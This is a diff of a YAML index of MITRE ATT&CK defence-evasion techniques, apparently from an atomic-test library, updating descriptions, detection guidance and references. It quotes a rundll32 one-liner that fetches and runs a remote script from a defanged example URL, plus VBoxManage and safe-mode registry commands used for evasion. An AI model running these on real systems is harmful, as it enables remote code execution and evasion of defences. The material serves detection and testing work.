-        url: https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
-        description: SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys
-          virtual machine to dodge security. Retrieved June 29, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Run Virtual Instance
-      description: |-
-        Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)
-
-        Adversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)
-      id: attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-07-06T19:03:40.330Z'
-      created: '2020-06-29T15:36:41.535Z'
-      x_mitre_detection: "Consider monitoring for files and processes associated with
-        running a virtual instance, such as binary files associated with common virtualization
-        technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring
-        for process command-line arguments that may be atypical for benign use of
-        virtualization software. Usage of virtualization binaries or command-line
-        arguments associated with running a headless (in the background with no UI)
-        virtual instance may be especially suspect. Network adapter information may
-        also be helpful in detecting the use of virtual instances.\n\nIf virtualization
-        software is installed by the adversary, the Registry may provide detection
-        opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003),
-        with respect to virtualization software. \n\nBenign usage of virtualization
-        technology is common in enterprise environments, data and events should not
-        be viewed in isolation, but as part of a chain of behavior."
-      x_mitre_contributors:
-      - Janantha Marasinghe
-      - Menachem Shafran, XM Cyber
+      name: Run Virtual Instance
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'File: File Creation'
       - 'Command: Command Execution'
       - 'Service: Service Creation'
       - 'Windows Registry: Windows Registry Key Modification'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
+      x_mitre_version: '1.1'
+      modified: '2021-10-14T22:21:59.708Z'
+      created: '2020-06-29T15:36:41.535Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      description: |-
+        Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)
+
+        Adversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)
+      x_mitre_contributors:
+      - Johann Rehberger
+      - Janantha Marasinghe
+      - Menachem Shafran, XM Cyber
+      x_mitre_detection: "Consider monitoring for files and processes associated with
+        running a virtual instance, such as binary files associated with common virtualization
+        technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring
+        the size of virtual machines running on the system. Adversaries may create
+        virtual images which are smaller than those of typical virtual machines.(Citation:
+        Shadowbunny VM Defense Evasion) Network adapter information may also be helpful
+        in detecting the use of virtual instances.\n\nConsider monitoring for process
+        command-line arguments that may be atypical for benign use of virtualization
+        software. Usage of virtualization binaries or command-line arguments associated
+        with running a silent installation may be especially suspect (ex. <code>-silent</code>,
+        <code>-ignore-reboot</code>), as well as those associated with running a headless
+        (in the background with no UI) virtual instance (ex. <code>VBoxManage startvm
+        $VM --type headless</code>).(Citation: Shadowbunny VM Defense Evasion) Similarly,
+        monitoring command line arguments which suppress notifications may highlight
+        potentially malicious activity (ex. <code>VBoxManage.exe setextradata global
+        GUI/SuppressMessages \"all\"</code>).\n\nMonitor for commands which enable
+        hypervisors such as Hyper-V.  If virtualization software is installed by the
+        adversary, the Registry may provide detection opportunities. Consider monitoring
+        for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with
+        respect to virtualization software. \n\nBenign usage of virtualization technology
+        is common in enterprise environments, data and events should not be viewed
+        in isolation, but as part of a chain of behavior."
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1564/006
+        external_id: T1564.006
+        source_name: mitre-attack
+      - url: https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx
+        description: Committee of Inquiry into the Cyber Attack on SingHealth. (2019,
+          January 10). Public Report of the Committee of Inquiry into the Cyber Attack
+          on Singapore Health Services Private Limited's Patient Database. Retrieved
+          June 29, 2020.
+        source_name: SingHealth Breach Jan 2019
+      - url: https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
+        description: SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys
+          virtual machine to dodge security. Retrieved June 29, 2020.
+        source_name: Sophos Ragnar May 2020
+      - url: https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/
+        description: Johann Rehberger. (2020, September 23). Beware of the Shadowbunny
+          - Using virtual machines to persist and evade detections. Retrieved September
+          22, 2021.
+        source_name: Shadowbunny VM Defense Evasion
       identifier: T1564.006
     atomic_tests:
     - name: Register Portable Virtualbox
@@ -37236,58 +38340,68 @@ defense-evasion:
           Remove-VM $VM -Force
   T1218.011:
     technique:
-      id: attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5
-      description: |-
-        Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
-
-        Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)
-
-        Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code>  This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
-      name: Rundll32
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1218.011
-        url: https://attack.mitre.org/techniques/T1218/011
-      - source_name: Trend Micro CPL
-        description: Merces, F. (2014). CPL Malware Malicious Control Panel Items.
-          Retrieved November 1, 2017.
-        url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
-      - source_name: This is Security Command Line Confusion
-        description: B. Ancel. (2014, August 20). Poweliks – Command Line Confusion.
-          Retrieved March 5, 2018.
-        url: https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/
       type: attack-pattern
+      name: Rundll32
+      x_mitre_data_sources:
+      - 'File: File Metadata'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Module: Module Load'
+      x_mitre_version: '1.1'
+      modified: '2021-10-14T21:45:53.057Z'
+      created: '2020-01-23T18:03:46.248Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2021-01-20T18:12:11.843Z'
-      created: '2020-01-23T18:03:46.248Z'
-      x_mitre_platforms:
-      - Windows
-      x_mitre_detection: Use process monitoring to monitor the execution and arguments
-        of rundll32.exe. Compare recent invocations of rundll32.exe with prior history
-        of known good arguments and loaded DLLs to determine anomalous and potentially
-        adversarial activity. Command arguments used with the rundll32.exe invocation
-        may also be useful in determining the origin and purpose of the DLL being
-        loaded.
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_permissions_required:
-      - User
+      id: attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5
       x_mitre_defense_bypassed:
       - Digital Certificate Validation
       - Application control
       - Anti-virus
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Module: Module Load'
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      description: |-
+        Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>).
+
+        Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)
+
+        Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code>  This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
+
+        Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll)
       x_mitre_contributors:
+      - Gareth Phillips, Seek Ltd.
       - Casey Smith
       - Ricardo Dias
+      x_mitre_detection: |-
+        Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.
+
+        Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1218/011
+        external_id: T1218.011
+        source_name: mitre-attack
+      - url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
+        description: Merces, F. (2014). CPL Malware Malicious Control Panel Items.
+          Retrieved November 1, 2017.
+        source_name: Trend Micro CPL
+      - url: https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/
+        description: B. Ancel. (2014, August 20). Poweliks – Command Line Confusion.
+          Retrieved March 5, 2018.
+        source_name: This is Security Command Line Confusion
+      - url: https://www.attackify.com/blog/rundll32_execution_order/
+        description: Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23,
+          2021.
+        source_name: Attackify Rundll32.exe Obscurity
+      - url: https://github.com/gtworek/PSBits/tree/master/NoRunDll
+        description: gtworek. (2019, December 17). NoRunDll. Retrieved August 23,
+          2021.
+        source_name: Github NoRunDll
       identifier: T1218.011
     atomic_tests:
     - name: Rundll32 execute JavaScript Remote Payload With GetObject
@@ -37573,116 +38687,98 @@ defense-evasion:
 '
   T1134.005:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1134.005
-        url: https://attack.mitre.org/techniques/T1134/005
-      - url: https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx
-        description: Microsoft. (n.d.). Security Identifiers. Retrieved November 30,
-          2017.
-        source_name: Microsoft SID
-      - url: https://msdn.microsoft.com/library/ms679833.aspx
-        description: Microsoft. (n.d.). Active Directory Schema - SID-History attribute.
-          Retrieved November 30, 2017.
-        source_name: Microsoft SID-History Attribute
-      - url: https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems
-        description: Microsoft. (2017, June 23). Well-known security identifiers in
-          Windows operating systems. Retrieved November 30, 2017.
-        source_name: Microsoft Well Known SIDs Jun 2017
-      - url: https://technet.microsoft.com/library/ee617241.aspx
-        description: Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved
-          November 30, 2017.
-        source_name: Microsoft Get-ADUser
-      - url: https://adsecurity.org/?p=1772
-        description: 'Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence
-          #14: SID History. Retrieved November 30, 2017.'
-        source_name: AdSecurity SID History Sept 2015
-      - url: https://msdn.microsoft.com/library/ms677982.aspx
-        description: Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November
-          30, 2017.
-        source_name: Microsoft DsAddSidHistory
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: SID-History Injection
-      description: |-
-        Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).
-
-        With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).
-      id: attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023
       type: attack-pattern
+      name: SID-History Injection
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'User Account: User Account Metadata'
+      - 'Active Directory: Active Directory Object Modification'
+      x_mitre_version: '1.0'
+      modified: '2021-02-09T15:49:58.414Z'
+      created: '2020-02-18T18:34:49.414Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-02-09T15:49:58.414Z'
-      created: '2020-02-18T18:34:49.414Z'
-      x_mitre_contributors:
-      - Alain Homewood, Insomnia Security
-      - Vincent Le Toux
-      x_mitre_version: '1.0'
+      id: attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023
+      x_mitre_platforms:
+      - Windows
       x_mitre_is_subtechnique: true
       x_mitre_permissions_required:
       - Administrator
       - SYSTEM
+      description: |-
+        Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).
+
+        With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).
+      x_mitre_contributors:
+      - Alain Homewood, Insomnia Security
+      - Vincent Le Toux
       x_mitre_detection: |-
         Examine data in user’s SID-History attributes using the PowerShell <code>Get-ADUser</code> cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)
 
         Monitor for Windows API calls to the <code>DsAddSidHistory</code> function. (Citation: Microsoft DsAddSidHistory)
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'User Account: User Account Metadata'
-      - 'Active Directory: Active Directory Object Modification'
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1134/005
+        external_id: T1134.005
+        source_name: mitre-attack
+      - source_name: Microsoft SID
+        description: Microsoft. (n.d.). Security Identifiers. Retrieved November 30,
+          2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx
+      - source_name: Microsoft SID-History Attribute
+        description: Microsoft. (n.d.). Active Directory Schema - SID-History attribute.
+          Retrieved November 30, 2017.
+        url: https://msdn.microsoft.com/library/ms679833.aspx
+      - source_name: Microsoft Well Known SIDs Jun 2017
+        description: Microsoft. (2017, June 23). Well-known security identifiers in
+          Windows operating systems. Retrieved November 30, 2017.
+        url: https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems
+      - source_name: Microsoft Get-ADUser
+        description: Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved
+          November 30, 2017.
+        url: https://technet.microsoft.com/library/ee617241.aspx
+      - source_name: AdSecurity SID History Sept 2015
+        description: 'Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence
+          #14: SID History. Retrieved November 30, 2017.'
+        url: https://adsecurity.org/?p=1772
+      - source_name: Microsoft DsAddSidHistory
+        description: Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November
+          30, 2017.
+        url: https://msdn.microsoft.com/library/ms677982.aspx
     atomic_tests: []
   T1553.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1553.003
-        url: https://attack.mitre.org/techniques/T1553/003
-      - url: https://msdn.microsoft.com/library/ms537359.aspx
-        description: Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.
-        source_name: Microsoft Authenticode
-      - url: https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx
-        description: Microsoft. (n.d.). WinVerifyTrust function. Retrieved January
-          31, 2018.
-        source_name: Microsoft WinVerifyTrust
-      - url: https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf
-        description: Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved
-          January 31, 2018.
-        source_name: SpectorOps Subverting Trust Sept 2017
-      - url: https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/
-        description: Navarro, E. (2008, July 11). SIP’s (Subject Interface Package)
-          and Authenticode. Retrieved January 31, 2018.
-        source_name: EduardosBlog SIPs July 2008
-      - url: https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files
-        description: Hudek, T. (2017, April 20). Catalog Files and Digital Signatures.
-          Retrieved January 31, 2018.
-        source_name: Microsoft Catalog Files and Signatures April 2017
-      - url: https://github.com/mattifestation/PoCSubjectInterfacePackage
-        description: Graeber, M. (2017, September 14). PoCSubjectInterfacePackage.
-          Retrieved January 31, 2018.
-        source_name: GitHub SIP POC Sept 2017
-      - url: http://www.entrust.net/knowledge-base/technote.cfm?tn=8165
-        description: Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0
-          logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved
-          January 31, 2018.
-        source_name: Entrust Enable CAPI2 Aug 2017
-      - url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)
-        description: Microsoft. (2016, August 31). Registry (Global Object Access
-          Auditing). Retrieved January 31, 2018.
-        source_name: Microsoft Registry Auditing Aug 2016
-      - url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)
-        description: Microsoft. (2012, July 2). Audit Registry. Retrieved January
-          31, 2018.
-        source_name: Microsoft Audit Registry July 2012
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: SIP and Trust Provider Hijacking
+      x_mitre_data_sources:
+      - 'Module: Module Load'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2021-02-09T15:58:04.719Z'
+      created: '2020-02-05T19:34:04.910Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc
+      x_mitre_defense_bypassed:
+      - Application control
+      - Autoruns Analysis
+      - Digital Certificate Validation
+      - User Mode Signature Validation
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - SYSTEM
+      - Administrator
       description: |-
         Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)
 
@@ -37696,23 +38792,8 @@ defense-evasion:
         * **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).
 
         Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)
-      id: attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-02-09T15:58:04.719Z'
-      created: '2020-02-05T19:34:04.910Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - SYSTEM
-      - Administrator
-      x_mitre_defense_bypassed:
-      - Application control
-      - Autoruns Analysis
-      - Digital Certificate Validation
-      - User Mode Signature Validation
+      x_mitre_contributors:
+      - Matt Graeber, @mattifestation, SpecterOps
       x_mitre_detection: |-
         Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)
 
@@ -37728,21 +38809,144 @@ defense-evasion:
         **Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017)
 
         Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1553/003
+        external_id: T1553.003
+        source_name: mitre-attack
+      - source_name: Microsoft Authenticode
+        description: Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.
+        url: https://msdn.microsoft.com/library/ms537359.aspx
+      - source_name: Microsoft WinVerifyTrust
+        description: Microsoft. (n.d.). WinVerifyTrust function. Retrieved January
+          31, 2018.
+        url: https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx
+      - source_name: SpectorOps Subverting Trust Sept 2017
+        description: Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved
+          January 31, 2018.
+        url: https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf
+      - source_name: EduardosBlog SIPs July 2008
+        description: Navarro, E. (2008, July 11). SIP’s (Subject Interface Package)
+          and Authenticode. Retrieved January 31, 2018.
+        url: https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/
+      - source_name: Microsoft Catalog Files and Signatures April 2017
+        description: Hudek, T. (2017, April 20). Catalog Files and Digital Signatures.
+          Retrieved January 31, 2018.
+        url: https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files
+      - source_name: GitHub SIP POC Sept 2017
+        description: Graeber, M. (2017, September 14). PoCSubjectInterfacePackage.
+          Retrieved January 31, 2018.
+        url: https://github.com/mattifestation/PoCSubjectInterfacePackage
+      - source_name: Entrust Enable CAPI2 Aug 2017
+        description: Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0
+          logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved
+          January 31, 2018.
+        url: http://www.entrust.net/knowledge-base/technote.cfm?tn=8165
+      - source_name: Microsoft Registry Auditing Aug 2016
+        description: Microsoft. (2016, August 31). Registry (Global Object Access
+          Auditing). Retrieved January 31, 2018.
+        url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)
+      - source_name: Microsoft Audit Registry July 2012
+        description: Microsoft. (2012, July 2). Audit Registry. Retrieved January
+          31, 2018.
+        url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)
+    atomic_tests: []
+  T1562.009:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Safe Mode Boot
       x_mitre_data_sources:
-      - 'Module: Module Load'
+      - 'Process: Process Creation'
       - 'Windows Registry: Windows Registry Key Modification'
-      - 'File: File Modification'
-      x_mitre_contributors:
-      - Matt Graeber, @mattifestation, SpecterOps
+      - 'Windows Registry: Windows Registry Key Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2021-08-31T14:51:47.352Z'
+      created: '2021-06-23T20:00:27.600Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--28170e17-8384-415c-8486-2e6b294cb803
+      x_mitre_defense_bypassed:
+      - Host Intrusion Prevention Systems
+      - Anti-virus
       x_mitre_platforms:
       - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      description: |-
+        Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)
+
+        Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)
+
+        Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)
+      x_mitre_contributors:
+      - Jorell Magtibay, National Australia Bank Limited
+      - Kiyohito Yamamoto, RedLark, NTT Communications
+      - Yusuke Kubo, RedLark, NTT Communications
+      x_mitre_detection: |-
+        Monitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a <code>\*</code> in front of the "Startup" value name: <code>HKLM\Software\Microsoft\Windows\CurrentVersion\Run\["\*Startup"="{Path}"]</code> or by adding a key to <code>HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal</code>.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019)
+
+        Monitor execution of processes and commands associated with making configuration changes to boot settings, such as <code>bcdedit.exe</code> and <code>bootcfg.exe</code>.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019)
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1562/009
+        external_id: T1562.009
+        source_name: mitre-attack
